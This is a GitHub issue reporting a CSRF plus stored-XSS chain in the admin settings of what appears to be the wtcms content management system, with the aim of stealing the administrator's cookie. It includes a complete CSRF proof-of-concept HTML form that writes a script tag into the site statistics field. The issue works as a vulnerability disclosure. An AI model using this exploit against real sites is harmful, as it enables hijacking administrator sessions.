Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Csrf + Xss combination Can be obtained administrator cookie #5

Open
Assassins-white opened this issue Feb 18, 2019 · 0 comments
Open

Comments

@Assassins-white
Copy link

Assassins-white commented Feb 18, 2019

Place of backstage set up website information exists Csrf Vulnerability,attacker Structure a csrf payload,Once the administrator clicks on the malicious link, the site information is automatically changed.
There is still an xss in the place of the website statistics code.
image

We can write an xss first, and then construct the csrf code, so that after the webmaster clicks on the malicious link of the attacker, it will execute csrf, and the website will have an xss. As long as the administrator visits the homepage of the website, he can get him Cookie

CSRF Exp:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wtcms/index.php?g=admin&m=setting&a=site_post" method="POST">
      <input type="hidden" name="options&#91;site&#95;name&#93;" value="test" />
      <input type="hidden" name="option&#95;id" value="10" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;url&#95;password&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tpl&#93;" value="default" />
      <input type="hidden" name="options&#91;site&#95;adminstyle&#93;" value="flat" />
      <input type="hidden" name="options&#91;site&#95;icp&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;admin&#95;email&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;tongji&#93;" value="&lt;script&gt;alert&#40;&quot;test&quot;&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="options&#91;site&#95;copyright&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;title&#93;" value="�&#191;&#189;�&#184;�&#187;�&#191;&#189;�&#161;�&#191;&#189;" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;keywords&#93;" value="" />
      <input type="hidden" name="options&#91;site&#95;seo&#95;description&#93;" value="" />
      <input type="hidden" name="options&#91;urlmode&#93;" value="0" />
      <input type="hidden" name="options&#91;html&#95;suffix&#93;" value="" />
      <input type="hidden" name="options&#91;comment&#95;time&#95;interval&#93;" value="60" />
      <input type="hidden" name="cmf&#95;settings&#91;banned&#95;usernames&#93;" value="" />
      <input type="hidden" name="cdn&#95;settings&#91;cdn&#95;static&#95;root&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant